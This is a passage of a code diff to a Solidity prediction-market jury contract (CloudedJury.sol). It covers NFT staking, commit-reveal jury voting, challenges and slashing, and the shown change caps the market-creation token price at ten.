         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
                     if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
                 } else _slash(_marketId, _outcomeOf, _currentTokenId); // Challenger has no vote on market outcome
                 continue;
             }
 
             if (!marketTokenOf.isSet(_currentTokenId)) continue; // The token is not creator, challenger, staker token, or belong to the market or caller
 
             if (!marketHasRevealedOf_[msg.sender][_marketId]) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; }
 
             if (marketJuryStakes_[_marketId].isSet(_currentTokenId)) {
                 if (_outcomeOf != _marketOutcome) { _slash(_marketId, _outcomeOf, _currentTokenId); continue; } // The jury outcome is also checked and slashed if 0, equivalent to _getSlashedAndRewardedTokens
                 else if (market.marketReveals == marketStakes_[_marketId].getLength()) IDAO(DAO).mint(msg.sender, _daysOf / 1 days * DECIMALS);
             }
 
             _unstake(_marketId, _currentTokenId);
 
             uint256 _tokenReward;
             if (_outcomeOf == _marketOutcome) _tokenReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _marketId, _totalWinnerOutcomeStakes);
 
             emit ClaimJuryReward(msg.sender, _marketId, _currentTokenId, _tokenReward);
         }
 
         if (marketCreatorTokenOf.getLength() == 0 && marketChallengerTokenOf.getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
 
         emit ClaimRewardAfter(msg.sender, _marketId, marketOf_[msg.sender].isSet(_marketId));
     }
 
-    function _getCurrentCreateMarketPrice() private view returns (uint256) { return totalSupply_ / 100 > 5 ? totalSupply_ / 100 : 5; }
+    function _getCurrentCreateMarketPrice() private view returns (uint256) {
+        uint256 _supplyPrice = totalSupply_ / 100;
+        if (_supplyPrice < 5) return 5;
+        return _supplyPrice > MAX_CREATE_MARKET_TOKENS ? MAX_CREATE_MARKET_TOKENS : _supplyPrice;
+    }
 
     function _update(address _to, uint256 _tokenId, address _auth) internal override returns (address) {
         address from = super._update(_to, _tokenId, _auth);
 
         if (from == address(0)) totalSupply_++;
         if (_to == address(0)) totalSupply_--;
 
         if (from != address(0)) tokenOf_[from].remove(_tokenId);
         if (_to != address(0)) tokenOf_[_to].add(_tokenId);
 
         return from;
     }
 
     function _updateMarketStatus(uint256 _marketId) private returns (Status) {
         if (_marketId == 0 || _marketId >= IClouded(CLOUDED).nextMarketId()) revert InvalidId();
         Market storage market = markets_[_marketId];
         Status _currentMarketStatus = _getMarketStatus(_marketId);
         if (_currentMarketStatus > market.status) market.status = _currentMarketStatus;
         return market.status;
     }
 
     function _getMarketStatus(uint256 _marketId) private view returns (Status) {
         (uint256 _startAt, uint256 _daysOf) = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         uint256 _marketEndAt = _startAt + _daysOf;
 
         Market storage market = markets_[_marketId];
         uint256 _currentTimestamp = block.timestamp;
 
         if (_currentTimestamp < _marketEndAt) return Status.ONGOING;
 
         if (market.marketRevealedTS == 0 && _currentTimestamp < _marketEndAt + 1 days) return Status.JURY;
 
         uint256 _challengeStart = market.marketRevealedTS != 0 ? market.marketRevealedTS : _marketEndAt + 1 days;
 
         if (market.marketChallengedTS != 0) return _currentTimestamp >= market.marketChallengedTS + 3 days ? Status.SETTLED : Status.VOTING;
 
         return _currentTimestamp < _challengeStart + 1 days ? Status.APPEAL : Status.SETTLED;
     }
 
     function _creatorBuy(uint256 _nextMarketId, uint256 _outcomeId, uint256 _shares) private {
         uint256 _executionPrice = IClouded(CLOUDED).getPriceAppreciation(_outcomeId, true, _shares);
         if (msg.value < _executionPrice) revert InsufficientPayment();
 
         IClouded(CLOUDED).buy{value: _executionPrice}(msg.sender, _nextMarketId, _outcomeId, _shares, _executionPrice, 0);
 
         if (msg.value - _executionPrice > 0) {
             (bool _success, ) = msg.sender.call{value: msg.value - _executionPrice}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function _unstake(uint256 _marketId, uint256 _tokenId) private {
         marketTokenOf_[msg.sender][_marketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         _update(msg.sender, _tokenId, address(this));
         emit Unstake(msg.sender, _marketId, _tokenId);
     }
 
     function _calculateMarketOutcome(uint256[] memory _marketOutcomeIds, uint256[] memory _marketOutcomes) private pure returns (uint256) {
         uint256 _winningOutcome;
         uint256 _winningAmount;
         for (uint256 i = 0; i < _marketOutcomes.length; i++) {
             if (_marketOutcomes[i] > _winningAmount) {
                 _winningOutcome = _marketOutcomeIds[i];
                 _winningAmount  = _marketOutcomes[i];
             }
         }
         return _winningOutcome;
     }
 
     function _slash(uint256 _tokenMarketId, uint256 _tokenOutcomeId, uint256 _tokenId) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         marketTokenOf_[msg.sender][_tokenMarketId].remove(_tokenId);
         delete tokenAddr_[_tokenId];
         emit Slash(msg.sender, _tokenMarketId, _tokenOutcomeId, _tokenId);
     }
 
     function _sendSlashedTokenValueToDao(uint256 _marketId, uint256 _marketResolvedOutcomeId) private {
         (uint256 _slashedTokens, ) = _getSlashedAndRewardedTokens(_marketId, _marketResolvedOutcomeId);
         if (_slashedTokens > 0) {
             totalSupply_ -= _slashedTokens;
             IDAO(DAO).buyBack{value: _slashedTokens * 299 * DECIMALS / 100}();
             emit SendSlashedTokenToDAO(_marketId, _slashedTokens, _slashedTokens * 299 * DECIMALS / 100);
         }
     }
 
     function _getSlashedAndRewardedTokens(uint256 _marketId, uint256 _marketOutcome) private view returns (uint256 slashedTokens, uint256 winnerOutcomeStakes) {
         Market storage market = markets_[_marketId];
         uint256 _juryOutcome              = market.juryOutcome;
         uint256 _marketChallengerToken    = market.challengerToken;
         bool    _isChallengerTokenSlashed = _marketOutcome == _juryOutcome;
 
         slashedTokens = marketJuryStakes_[_marketId].getLength() - juryOutcomeCount_[_marketId][_marketOutcome];
 
         if (_isChallengerTokenSlashed) {
             slashedTokens += _marketChallengerToken;
             _marketChallengerToken = 0;
         }
 
         winnerOutcomeStakes = _marketChallengerToken + marketOutcomeCount_[_marketId][_marketOutcome];
 
         slashedTokens += marketStakes_[_marketId].getLength() - market.marketReveals; // Total slashed tokens including tokens not revealed
     }
 
     function _getResolvedMarketOutcome(uint256 _marketId) private view returns (uint256) {
         Market storage market = markets_[_marketId];
         if (!market.marketResolved)    return 0;
         if (market.votingOutcome != 0) return market.votingOutcome;
         if (market.juryOutcome != 0)   return market.juryOutcome;
         return IClouded(CLOUDED).getMarketWinningOutcome(_marketId);
     }
 
     function _claimCreatorToken(uint256 _tokenMarketId, uint256 _currentTokenId) private {
         marketCreatorTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
         emit ClaimCreatorToken(msg.sender, _tokenMarketId, _currentTokenId);
     }
 
     function _claimChallengerReward(uint256 _tokenMarketId, uint256 _currentTokenId, uint256 _totalOutcomeStakes) private {
         marketChallengerTokenOf_[msg.sender][_tokenMarketId].remove(_currentTokenId);
         _update(msg.sender, _currentTokenId, address(this));
 
         uint256 _challengerReward = IClouded(CLOUDED).claimJuryReward(msg.sender, _tokenMarketId, _totalOutcomeStakes);
 
         emit ClaimChallengerReward(msg.sender, _tokenMarketId, _currentTokenId, _challengerReward);
     }
 
     error NotAuthorized();
     error Whitelisted();
     error ZeroAmount();
     error InvalidId();
     error RefundFailed();
     error NoTokenSelected();
     error OutcomeRevealed();
     error WrongCommitHash();
     error NoCommitHash();
     error MarketEnded();
     error MarketNotEnded();
     error JuryWindowEnded();
     error AppealWindowEnded();
     error MarketAlreadyChallenged();
     error NotOwner(uint256 tokenId);
     error NotStakedByOwner(uint256 tokenId);
     error JurySelected(bool selected);
     error MarketResolved(bool resolved);
     error InsufficientPayment();
     error StakeRequiredAmounts();
 }
\ No newline at end of file

diff --git a/CloudedJury.sol b/CloudedJury.sol
--- a/CloudedJury.sol
+++ b/CloudedJury.sol
@@ -1,646 +1,651 @@
 // SPDX-License-Identifier: MIT
 
 pragma solidity ^0.8.24;
 
 import { Strings } from "@openzeppelin/contracts/utils/Strings.sol";
 import { ERC721 } from "@openzeppelin/contracts/token/ERC721/ERC721.sol";
 import { ReentrancyGuardTransient } from "@openzeppelin/contracts/utils/ReentrancyGuardTransient.sol";
 
 library Ids {
     struct Set {
         uint256[] ids;
         mapping(uint256 => uint256) positions;
     }
 
     function add(Set storage set, uint256 _id) internal {
         if (set.positions[_id] == 0) {
             set.ids.push(_id);
             set.positions[_id] = set.ids.length; // skip index 0 for non existing element
         }
     }
 
     function remove(Set storage set, uint256 _id) internal {
         uint256 _position = set.positions[_id];
         if (_position != 0) {
             uint256 _index = _position - 1;
             uint256 _lastIndexId = set.ids[set.ids.length - 1];
             set.ids[_index] = _lastIndexId;
             set.positions[_lastIndexId] = _position;
             set.ids.pop();
             delete set.positions[_id];
         }
     }
 
     function swap(Set storage set, uint256 _indexA, uint256 _indexB) internal {
         if (_indexA == _indexB) return;
         
         uint256 idA = set.ids[_indexA];
         uint256 idB = set.ids[_indexB];
 
         set.ids[_indexA] = idB;
         set.ids[_indexB] = idA;
 
         set.positions[idA] = _indexB + 1;
         set.positions[idB] = _indexA + 1;
     }
 
     function isSet(Set storage set, uint256 _id) internal view returns (bool) { return set.positions[_id] != 0; }
 
     function getId(Set storage set, uint256 _position) internal view returns (uint256) { return set.ids[_position]; }
 
     function getAll(Set storage set) internal view returns (uint256[] memory) { return set.ids; }
 
     function getLength(Set storage set) internal view returns (uint256) { return set.ids.length; }
 }
 
 interface IClouded {
     function nextMarketId() external view returns (uint256);
     function getMarketStartAtDaysOf(uint256) external view returns (uint256, uint256);
     function getOutcomeMarketId(uint256) external view returns (uint256);
     function getMarketOutcomeIds(uint256) external view returns (uint256[] memory);
     function getMarketWinningOutcome(uint256) external view returns (uint256);
     function getPriceAppreciation(uint256, bool, uint256) external view returns (uint256);
     function getMarketIndexInfoInBatch(uint256[] memory _marketIds) external view returns (string[] memory, uint256[] memory, uint256[][] memory, string[][] memory, uint256[][] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function getMarketResolutionInfoInBatch(uint256[] memory) external view returns (string[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory);
     function createMarket(string memory, string memory, string[] memory, uint256) external returns (uint256[] memory);
     function buy(address, uint256, uint256, uint256, uint256, uint256) external payable;
     function claimJuryReward(address, uint256, uint256) external returns (uint256);
 }
 
 interface IDAO {
     function mint(address, uint256) external;
     function outcomeVotes(uint256) external view returns (uint256);
     function buyBack() external payable;
 }
 
 contract CloudedJury is ERC721, ReentrancyGuardTransient {
     using Strings for uint256;
     using Ids for Ids.Set;
 
     event AddToWhitelist(address indexed addr);
     event BatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId);
     event Stake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event Unstake(address indexed staker, uint256 indexed marketId, uint256 indexed tokenId);
     event CreateMarket(address indexed marketCreator, uint256 indexed marketId, uint256 indexed tokenId);
     event StakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes);
     event UnstakeAfter(address indexed staker, uint256 indexed marketId, uint256 marketStakes, bool isMarketOf);
     event CreateMarketAfter(address indexed marketCreator, uint256 indexed marketId, string marketName, string marketRule, uint256[] marketOutcomeIds, string[] marketOutcomeNames, uint256 startAt, uint256 daysOf);
     event RevealOutcome(uint256 indexed marketId, address indexed juryAddr, uint256 indexed juryOutcomeIdOf, bytes32 randomNumber, uint256 juryReveals, uint256 marketRevealedTS, uint256 juryOutcome);
     event SelectJury(uint256 indexed marketId, uint256 indexed tokenId, uint256 indexed tokenOutcomeId, address tokenOwner);
     event Challenge(address indexed challenger, uint256 indexed marketId, uint256 indexed tokenId, uint256 marketChallengedTS);
     event ResolveMarket(uint256 indexed marketId, uint256 votingOutcomeId, uint256 resolvedOutcomeId);
     event ClaimCreatorToken(address indexed creator, uint256 indexed marketId, uint256 tokenId);
     event ClaimChallengerReward(address indexed challenger, uint256 indexed marketId, uint256 tokenId, uint256 challengerReward);
     event ClaimJuryReward(address indexed staker, uint256 indexed marketId, uint256 tokenId, uint256 tokenReward);
     event ClaimRewardAfter(address indexed staker, uint256 indexed marketId, bool isMarketOf);
     event Slash(address indexed staker, uint256 indexed marketId, uint256 outcomeId, uint256 tokenId);
     event SendSlashedTokenToDAO(uint256 indexed marketId, uint256 tokens, uint256 tokenValue);
     event PublicLaunch();
 
     uint256 constant DECIMALS = 1e18;
+    uint256 constant MAX_CREATE_MARKET_TOKENS = 10;
     address public immutable MANAGER;
     address public CLOUDED;
     address public DAO;
 
     bool public whitelisted;
 
     // Overall protocol conditions
     string  private uri_;
     string  private baseURI_;
     uint256 private nextTokenId_;
     uint256 private totalSupply_;
     Ids.Set private allOngoingMarketIds_;
     Ids.Set private allResolvedMarketIds_;
     mapping(uint256 => Market) private markets_;
 
     // Staker conditions
     mapping(address => bool) private whitelisted_;
     mapping(address => Ids.Set) private tokenOf_;
     mapping(address => Ids.Set) private marketOf_; // Markets that stakers participate which include staking, creating, challenging
     mapping(uint256 => address) private tokenAddr_; // Staker token address
     mapping(address => mapping(uint256 => Ids.Set)) private marketTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketCreatorTokenOf_;
     mapping(address => mapping(uint256 => Ids.Set)) private marketChallengerTokenOf_;
     mapping(address => mapping(uint256 => bytes32)) private marketCommitHashOf_;
     mapping(address => mapping(uint256 => bool)) private marketHasRevealedOf_;
     mapping(address => mapping(uint256 => uint256)) private marketOutcomeOf_;
 
     // Staked tokens
     mapping(uint256 => Ids.Set) private marketStakes_; // total stakes in the market excluding creator and challenger tokens
     mapping(uint256 => Ids.Set) private marketJuryStakes_; // total stakes picked as jury
     mapping(uint256 => mapping(uint256 => uint256)) private juryOutcomeCount_;   // The amount of stakes in the jury, in the order of marketId → outcomeId → count
     mapping(uint256 => mapping(uint256 => uint256)) private marketOutcomeCount_; // The amount of stakes in the market
 
     struct Market {
         uint256 creatorTokens;
         uint256 challengerToken;
         uint256 marketRevealedTS;
         uint256 marketChallengedTS;
         uint256 marketReveals;
         uint256 juryOutcome;
         uint256 votingOutcome;
         bytes32 randomNumber;
         bool juryHasSelected;
         bool marketResolved;
         Status status;
     }
 
     enum Status {
         ONGOING, 
         JURY, 
         APPEAL, 
         VOTING, 
         SETTLED
     }
 
     modifier isManager() { if (msg.sender != MANAGER) revert NotAuthorized(); _; }
 
     constructor(string memory _name, string memory _symbol, address _managerAddr) ERC721(_name, _symbol) {
         MANAGER = _managerAddr;
         whitelisted = true;
         nextTokenId_ = 1;
     }
 
     function addToWhitelist(address _addr) external isManager {
         whitelisted_[_addr] = true;
         emit AddToWhitelist(_addr);
     }
 
     function publicLaunch() external isManager { whitelisted = false; emit PublicLaunch(); }
 
     function isWhitelisted(address _addr) external view returns (bool) { return whitelisted_[_addr]; }
 
     function tokenURI(uint256 _tokenId) public view override returns (string memory) {
         _requireOwned(_tokenId);
         return bytes(baseURI_).length > 0 ? baseURI_ : string.concat(uri_, _tokenId.toString());
     }
 
     function updateURI(string memory _newBaseURI, string memory _newURI) external isManager {
         baseURI_ = _newBaseURI;
         uri_ = _newURI;
         emit BatchMetadataUpdate(1, nextTokenId_ - 1);
     }
 
     function updateDAOAddr(address _daoAddr) external isManager { DAO = _daoAddr; }
 
     function updateCloudedAddr(address _cloudedAddr) external isManager { CLOUDED = _cloudedAddr; }
 
     function updateMarketStatus(uint256 _marketId) external returns (uint8) { return uint8(_updateMarketStatus(_marketId)); }
 
     function getAllOngoingMarketIds() external view returns (uint256[] memory) { return allOngoingMarketIds_.getAll(); }
 
     function getCurrentCreateMarketPrice() external view returns (uint256) { return _getCurrentCreateMarketPrice(); }
 
     function getResolvedMarkets() external view returns (uint256) { return allResolvedMarketIds_.getLength(); }
 
     function getResolvedMarketIds(uint256 _offset, uint256 _limit) external view returns (uint256[] memory ids) {
         uint256 _totalMarkets = allResolvedMarketIds_.getLength();
         if (_offset >= _totalMarkets || _limit == 0) return new uint256[](0);
 
         uint256 _end   = _totalMarkets - _offset;
         uint256 _count = _end > _limit ? _limit : _end;
 
         ids = new uint256[](_count);
         for (uint256 i = 0; i < _count; i++) { ids[i] = allResolvedMarketIds_.getId(_end - 1 - i); }
     }
 
     function getMarketStoredInfo(uint256 _marketId) external view returns (
         uint256 creatorTokens, 
         uint256 challengerToken, 
         uint256 marketRevealedTS, 
         uint256 marketChallengedTS, 
         uint256 marketReveals, 
         uint256 juryOutcome, 
         uint256 votingOutcome, 
         bytes32 randomNumber, 
         bool    juryHasSelected, 
         bool    marketResolved
     ) {
         Market storage market = markets_[_marketId];
         creatorTokens      = market.creatorTokens;
         challengerToken    = market.challengerToken;
         marketRevealedTS   = market.marketRevealedTS;
         marketChallengedTS = market.marketChallengedTS;
         marketReveals      = market.marketReveals;
         juryOutcome        = market.juryOutcome;
         votingOutcome      = market.votingOutcome;
         randomNumber       = market.randomNumber;
         juryHasSelected    = market.juryHasSelected;
         marketResolved     = market.marketResolved;
     }
 
     function getMarketDerivedInfo(uint256 _marketId) external view returns (uint256 resolvedOutcome, uint8 status) {
         resolvedOutcome = _getResolvedMarketOutcome(_marketId);
         Status _current = _getMarketStatus(_marketId);
         status = uint8(_current > markets_[_marketId].status ? _current : markets_[_marketId].status);
     }
 
     function getUserTokenIds(address _userAddr) external view returns (uint256[] memory) { return tokenOf_[_userAddr].getAll(); }
 
     function getStakerMarketIds(address _stakerAddr) external view returns (uint256[] memory) { return marketOf_[_stakerAddr].getAll(); }
 
     function getStakerMarketTokenIds(address _stakerAddr, uint256 _marketId) external view returns (uint256[] memory creatorTokenIds, uint256[] memory challengerTokenIds, uint256[] memory stakerTokenIds) {
         creatorTokenIds    = marketCreatorTokenOf_[_stakerAddr][_marketId].getAll();
         challengerTokenIds = marketChallengerTokenOf_[_stakerAddr][_marketId].getAll();
         stakerTokenIds     = marketTokenOf_[_stakerAddr][_marketId].getAll();
     }
 
     function mint(uint256 _amount) external payable nonReentrant {
         if (whitelisted && !whitelisted_[msg.sender]) revert Whitelisted();
 
         if (_amount == 0) revert ZeroAmount();
 
         uint256 _mintPrice = 3 * _amount * DECIMALS; // The price for minting an NFT is 3 $HYPE
         if (msg.value < _mintPrice) revert InsufficientPayment();
 
         for (uint256 i = 0; i < _amount; i++) {
             _mint(msg.sender, nextTokenId_);
             nextTokenId_++;
         }
 
         IDAO(DAO).buyBack{value: _amount * DECIMALS / 100}();
 
         uint256 _refund = msg.value - _mintPrice;
         if (_refund > 0) {
             (bool _success, ) = msg.sender.call{value: _refund}("");
             if (!_success) revert RefundFailed();
         }
     }
 
     function redeem(uint256[] memory _tokenIds) external nonReentrant {
         uint256 _amount;
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             _burn(_tokenIds[i]);
             _amount++;
         }
 
         if (_amount == 0) revert ZeroAmount();
 
         (bool _success, ) = msg.sender.call{value: _amount * 299 * DECIMALS / 100}("");
         if (!_success) revert RefundFailed();
     }
 
     function stake(uint256 _marketId, uint256[] memory _tokenIds, bytes32 _commitHash) external nonReentrant {
         if (_commitHash == 0) revert NoCommitHash();
         if (_tokenIds.length == 0) revert NoTokenSelected();
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         uint256 _tokenId;
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _tokenId = _tokenIds[i];
             if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
             marketStakes.add(_tokenId);
             marketTokenOf.add(_tokenId);
             tokenAddr_[_tokenId] = msg.sender;
             _update(address(this), _tokenId, msg.sender);
             emit Stake(msg.sender, _marketId, _tokenId);
         }
         marketOf_[msg.sender].add(_marketId);
         marketCommitHashOf_[msg.sender][_marketId] = _commitHash;
         emit StakeAfter(msg.sender, _marketId, marketStakes.getLength());
     }
 
     function unstake(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.ONGOING) revert MarketEnded();
 
         Ids.Set storage marketStakes  = marketStakes_[_marketId];
         Ids.Set storage marketTokenOf = marketTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (!marketTokenOf.isSet(_tokenIds[i])) revert NotStakedByOwner(_tokenIds[i]);
             marketStakes.remove(_tokenIds[i]);
             _unstake(_marketId, _tokenIds[i]);
         }
         if (marketTokenOf.getLength() == 0) delete marketCommitHashOf_[msg.sender][_marketId];
         if (marketCreatorTokenOf_[msg.sender][_marketId].getLength() == 0 && marketChallengerTokenOf_[msg.sender][_marketId].getLength() == 0 && marketTokenOf.getLength() == 0) marketOf_[msg.sender].remove(_marketId);
         emit UnstakeAfter(msg.sender, _marketId, marketStakes.getLength(), marketOf_[msg.sender].isSet(_marketId));
     }
 
     function createMarket(string memory _name, string memory _rule, string[] memory _outcomes, uint256 _days, uint256[] memory _tokenIds, uint256 _outcomePosition, uint256 _shares) external payable nonReentrant {
         if (_outcomePosition == 0 || _outcomePosition > _outcomes.length) revert InvalidId();
 
         uint256 _requiredTokenAmount = _getCurrentCreateMarketPrice();
         if (_tokenIds.length < _requiredTokenAmount) revert StakeRequiredAmounts();
 
         uint256 _nextMarketId = IClouded(CLOUDED).nextMarketId();
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             if (_ownerOf(_tokenIds[i]) != msg.sender) revert NotOwner(_tokenIds[i]);
             marketCreatorTokenOf_[msg.sender][_nextMarketId].add(_tokenIds[i]);
             _update(address(this), _tokenIds[i], msg.sender);
             emit CreateMarket(msg.sender, _nextMarketId, _tokenIds[i]);
         }
 
         allOngoingMarketIds_.add(_nextMarketId);
         marketOf_[msg.sender].add(_nextMarketId);
         markets_[_nextMarketId].creatorTokens = _tokenIds.length;
 
         uint256[] memory _outcomeIds = IClouded(CLOUDED).createMarket(_name, _rule, _outcomes, _days);
         emit CreateMarketAfter(msg.sender, _nextMarketId, _name, _rule, _outcomeIds, _outcomes, block.timestamp, _days * 1 days);
 
         uint256 _outcomeId = _outcomeIds[_outcomePosition - 1];
         _creatorBuy(_nextMarketId, _outcomeId, _shares);
     }
 
     function revealOutcome(uint256 _marketId, uint256 _outcomeId, bytes32 _salt) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.JURY) revert JuryWindowEnded();
         if (IClouded(CLOUDED).getOutcomeMarketId(_outcomeId) != _marketId) revert InvalidId();
         if (marketHasRevealedOf_[msg.sender][_marketId]) revert OutcomeRevealed();
         marketHasRevealedOf_[msg.sender][_marketId] = true;
 
         bytes32 _commitHash = marketCommitHashOf_[msg.sender][_marketId];
         if (_commitHash == 0) revert NoCommitHash();
         if (keccak256(abi.encodePacked(msg.sender, _marketId, _outcomeId, _salt)) != _commitHash) revert WrongCommitHash();
         marketOutcomeOf_[msg.sender][_marketId] = _outcomeId;
 
         Market storage market = markets_[_marketId];
         market.randomNumber   = market.randomNumber ^ _salt;
 
         market.marketReveals     += marketTokenOf_[msg.sender][_marketId].getLength();
         if (market.marketReveals == marketStakes_[_marketId].getLength()) market.marketRevealedTS = block.timestamp;
 
         uint256 _winningOutcomeId;
         uint256 _winningOutcomeCount;
         uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
         marketOutcomeCount_[_marketId][_outcomeId] += marketTokenOf_[msg.sender][_marketId].getLength();
         for (uint256 i = 0; i < _marketOutcomeIds.length; i++) {
             if (marketOutcomeCount_[_marketId][_marketOutcomeIds[i]] > _winningOutcomeCount) {
                 _winningOutcomeId    = _marketOutcomeIds[i];
                 _winningOutcomeCount = marketOutcomeCount_[_marketId][_marketOutcomeIds[i]];
             }
         }
         market.juryOutcome = _winningOutcomeId;
 
         emit RevealOutcome(_marketId, msg.sender, _outcomeId, market.randomNumber, market.marketReveals, market.marketRevealedTS, market.juryOutcome);
     }
 
     function selectJury(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
 
         if (markets_[_marketId].juryHasSelected) revert JurySelected(true);
         markets_[_marketId].juryHasSelected = true;
 
         uint256 _attempt;
         Ids.Set storage marketStakes = marketStakes_[_marketId];
         uint256 _totalStakedTokens   = marketStakes.getLength();
         uint256 _jurySet             = _totalStakedTokens == 0 ? 0 : _totalStakedTokens < 5 ? 1 : _totalStakedTokens / 5 < 300 ? _totalStakedTokens / 5 : 300;
         while (_attempt < _jurySet) {
             uint256 _position = _attempt + uint256(keccak256(abi.encodePacked(markets_[_marketId].randomNumber, _attempt))) % (marketStakes.getLength() - _attempt);
             marketStakes.swap(_attempt, _position);
 
             uint256 _tokenId        = marketStakes.getId(_attempt);
             address _tokenOwner     = tokenAddr_[_tokenId];
             uint256 _tokenOutcomeId = marketOutcomeOf_[_tokenOwner][_marketId];
             if (_tokenOutcomeId != 0) {
                 marketJuryStakes_[_marketId].add(_tokenId);
                 juryOutcomeCount_[_marketId][_tokenOutcomeId]++;
                 emit SelectJury(_marketId, _tokenId, _tokenOutcomeId, _tokenOwner);
             }
 
             _attempt++;
         }
     }
 
     // Challenge can only be made once every market. 
     // The token will be rewarded if the voters also agree with the same outcome, 
     // but will be slashed for being wrong.
     function challenge(uint256 _marketId, uint256 _tokenId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.APPEAL) revert AppealWindowEnded();
         if (_ownerOf(_tokenId) != msg.sender) revert NotOwner(_tokenId);
 
         Market storage market = markets_[_marketId];
         if (!market.juryHasSelected) revert JurySelected(false);
         if (market.marketChallengedTS != 0) revert MarketAlreadyChallenged();
         market.marketChallengedTS = block.timestamp;
         market.challengerToken++;
 
         marketOf_[msg.sender].add(_marketId);
         marketChallengerTokenOf_[msg.sender][_marketId].add(_tokenId);
 
         _update(address(this), _tokenId, msg.sender);
 
         emit Challenge(msg.sender, _marketId, _tokenId, block.timestamp);
     }
 
     function resolveMarket(uint256 _marketId) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
 
         Market storage market = markets_[_marketId];
         if (market.marketResolved) revert MarketResolved(true);
         market.marketResolved = true;
 
         allOngoingMarketIds_.remove(_marketId);
         allResolvedMarketIds_.add(_marketId);
 
         bool _isMarketChallenged = market.marketChallengedTS != 0;
         if (_isMarketChallenged) {
             uint256[] memory _marketOutcomeIds = IClouded(CLOUDED).getMarketOutcomeIds(_marketId);
             uint256[] memory _marketOutcomes   = new uint256[](_marketOutcomeIds.length);
             for (uint256 i = 0; i < _marketOutcomeIds.length; i++) _marketOutcomes[i] = IDAO(DAO).outcomeVotes(_marketOutcomeIds[i]);
             market.votingOutcome = _calculateMarketOutcome(_marketOutcomeIds, _marketOutcomes);
         }
 
         uint256 _resolvedOutcomeId = _getResolvedMarketOutcome(_marketId);
         _sendSlashedTokenValueToDao(_marketId, _resolvedOutcomeId);
 
         emit ResolveMarket(_marketId, market.votingOutcome, _resolvedOutcomeId);
     }
 
     function claimReward(uint256 _marketId, uint256[] memory _tokenIds) external nonReentrant {
         if (_updateMarketStatus(_marketId) != Status.SETTLED) revert MarketNotEnded();
         if (!markets_[_marketId].marketResolved) revert MarketResolved(false);
 
         uint256 _currentTokenId;
         uint256 _marketOutcome = _getResolvedMarketOutcome(_marketId);
         uint256 _outcomeOf     = marketOutcomeOf_[msg.sender][_marketId];
         (, uint256 _daysOf)    = IClouded(CLOUDED).getMarketStartAtDaysOf(_marketId);
         (, uint256 _totalWinnerOutcomeStakes)   = _getSlashedAndRewardedTokens(_marketId, _marketOutcome);
         Market  storage market                  = markets_[_marketId];
         Ids.Set storage marketTokenOf           = marketTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketCreatorTokenOf    = marketCreatorTokenOf_[msg.sender][_marketId];
         Ids.Set storage marketChallengerTokenOf = marketChallengerTokenOf_[msg.sender][_marketId];
         for (uint256 i = 0; i < _tokenIds.length; i++) {
             _currentTokenId = _tokenIds[i];
 
             if (marketCreatorTokenOf.isSet(_currentTokenId)) { _claimCreatorToken(_marketId, _currentTokenId); continue; }
 
             if (marketChallengerTokenOf.isSet(_currentTokenId)) {
                 if (market.juryOutcome != _marketOutcome) { // market.juryOutcome can be 0 if challenged
                     _claimChallengerReward(_marketId, _currentTokenId, _totalWinnerOutcomeStakes);
